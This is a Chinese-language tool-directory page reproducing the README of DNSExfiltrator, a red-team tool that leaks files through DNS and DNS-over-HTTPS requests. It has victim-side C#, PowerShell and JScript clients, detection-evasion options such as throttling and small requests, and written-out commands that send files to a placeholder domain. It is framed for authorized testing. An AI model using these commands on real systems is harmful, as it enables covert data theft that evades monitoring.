Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
DNSExfiltrator — 通过DNS请求隐蔽通道进行数据外泄 | Kitploit
工具/GitHubGitHub/arno0x/dnsexfiltrator
数据泄露渗透测试红队DNS 分析
GitHubarno0x/dnsexfiltrator

DNSExfiltrator

通过DNS请求隐蔽通道进行数据外泄

查看仓库
8841908年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

DNSExfiltrator

作者:Arno0x0x - @Arno0x0x

DNSExfiltrator 允许通过 DNS 请求的隐蔽通道传输(泄露)文件。这基本上是一个数据泄露测试工具,允许通过隐蔽通道泄露数据。

DNSExfiltrator 包含两部分:

  1. 服务器端,以一个单独的 Python 脚本(dnsexfiltrator.py)形式提供,作为自定义 DNS 服务器接收文件
  2. 客户端(受害者端),提供三种形式:
  • dnsExfiltrator.cs:一个 C# 脚本,可用 csc.exe 编译成 Windows 托管可执行文件
  • Invoke-DNSExfiltrator.ps1:一个 PowerShell 脚本,通过封装 dnsExfiltrator 程序集提供相同的功能
  • dnsExfiltrator.js:一个 JScript 脚本,通过 DotNetToJScript 将 dnsExiltrator DLL 程序集转换而来,提供相同的功能

为了让整个机制正常工作,你必须拥有一个域名,并将该域名的 DNS 记录(NS)指向运行 dnsexfiltrator.py 服务器端的服务器。

功能特性

默认情况下,DNSExfiltrator 使用系统定义的 DNS 服务器,但您也可以设置一个特定的 DNS 服务器(例如用于调试目的或在本地运行服务器端)。

另外,使用 h 参数,DNSExfiltrator 可以通过 Google 或 CloudFlare 的 DoH 服务器执行 DoH(基于 HTTP 的 DNS)。

默认情况下,要泄露的数据会被 base64URL 编码以适配 DNS 请求。然而,某些 DNS 解析器可能会破坏这种编码(因为 FQDN 不应该是大小写敏感的),它们会干扰编码/解码过程中重要的大小写敏感性(大写或小写)。为了解决这个问题,您可以使用 -b32 标志强制对数据进行 Base32 编码,这会带来一些额外的数据量开销。如果您使用 CloudFlare DoH,则会自动应用 base32 编码。

DNSExfiltrator 支持对泄露的数据进行基本的 RC4 加密,使用提供的密码对数据进行加密/解密。

DNSExfiltrator 还提供了一些可选功能以避免检测:

  • 请求限速,以便在泄露数据时更加隐蔽
  • 减小 DNS 请求大小(默认会尽量使用每个 DNS 请求中可用的最大字节数以提高效率)
  • 减小 DNS 标签大小(默认会使用最长支持的 63 字符标签大小)

依赖项

唯一的依赖在服务器端,因为 dnsexfiltrator.py 脚本依赖于外部库 dnslib。您可以使用 pip 安装:

root@kitploit:~
pip install -r requirements.txt

用法

服务器端

启动 dnsexfiltrator.py 脚本,传入域名和解密密码:

root@kitploit:~
root@kali:~# ./dnsexfiltrator.py -d mydomain.com -p password

客户端

您可以使用编译版本,或者使用 PowerShell 封装(基本上是一样的),或者使用 JScript 封装。无论哪种方式,参数都相同,只是在 PowerShell 中传递参数的方式略有不同。

1/ 使用 C# 编译的 Windows 可执行文件(您可以在 release 目录中找到):

root@kitploit:~
dnsExfiltrator.exe <file> <domainName> <password> [-b32] [h=google|cloudflare] [s=<DNS_server>] [t=<throttleTime>] [r=<requestMaxSize>] [l=<labelMaxSize>]
      file:           [必需] 要泄露的文件名。
      domainName:     [必需] 用于 DNS 请求的域名。
      password:       [必需] 用于加密要泄露数据的密码。
      -b32:           [可选] 使用 base32 编码数据。某些 DNS 解析器可能因大小写问题而需要此选项。
      h:              [可选] 使用 Google 或 CloudFlare 的 DoH(基于 HTTP 的 DNS)服务器。
      DNS_Server:     [可选] 用于 DNS 请求的 DNS 服务器名称或 IP。默认为系统 DNS 服务器。
      throttleTime:   [可选] 每个 DNS 请求之间的等待时间(毫秒)。
      requestMaxSize: [可选] 每个 DNS 请求的最大大小(字节)。默认为 255 字节。
      labelMaxSize:   [可选] 每个 DNS 请求标签(子域名)的最大大小(字符)。默认为 63 字符。

2/ 使用 PowerShell 脚本,以任何您喜欢的方式调用它(您可能知道很多调用 PowerShell 脚本的方法),并附带脚本参数。最基本的例子:

root@kitploit:~
c:\DNSExfiltrator> powershell
PS c:\DNSExfiltrator> Import-Module .\Invoke-DNSExfiltrator.ps1
PS c:\DNSExfiltrator> Invoke-DNSExfiltrator -i inputFile -d mydomain.com -p password -s my.dns.server.com -t 500
[...]

请查看脚本文件中的 EXAMPLES 部分以获取更多使用示例。

3/ 使用 JScript 脚本,传入与独立 Windows 可执行文件完全相同的参数:

root@kitploit:~
cscript.exe dnsExiltrator.js inputFile mydomain.com password

或者,带一些选项:

root@kitploit:~
cscript.exe dnsExiltrator.js inputFile mydomain.com password s=my.dns.server.com t=500

待办事项

  • 有些人会要求用 AES 加密替代 RC4,我知道……可能会稍后添加
  • 显示预估传输时间
  • 改进参数解析(我太懒了,不想学如何使用 C# 参数解析库,真希望它能像 Python 一样简单)

免责声明

本工具仅供合法且正当的用途使用:

  • 要么在您自己的系统上,用于学习、演示能做什么以及如何做,或测试您的防御和检测机制
  • 要么在您已获得官方和合法授权执行某些安全评估(渗透测试、安全审计)的系统上

引用 Empire 作者的话: 没有任何方法能构建出对合法的信息安全行业有用的攻击性工具,同时又能防止恶意行为者滥用它们。

下载工具